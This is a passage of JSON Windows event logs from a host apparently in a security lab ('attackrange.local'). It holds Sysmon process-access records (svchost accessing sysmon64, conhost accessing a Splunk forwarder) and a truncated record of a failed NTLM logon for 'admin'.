C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEB-5F2D-0000-001073680300}\r\nTargetProcessId: 3724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEB-5F2D-0000-001073680300}","TargetProcessId":"3724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221498,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60678\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp 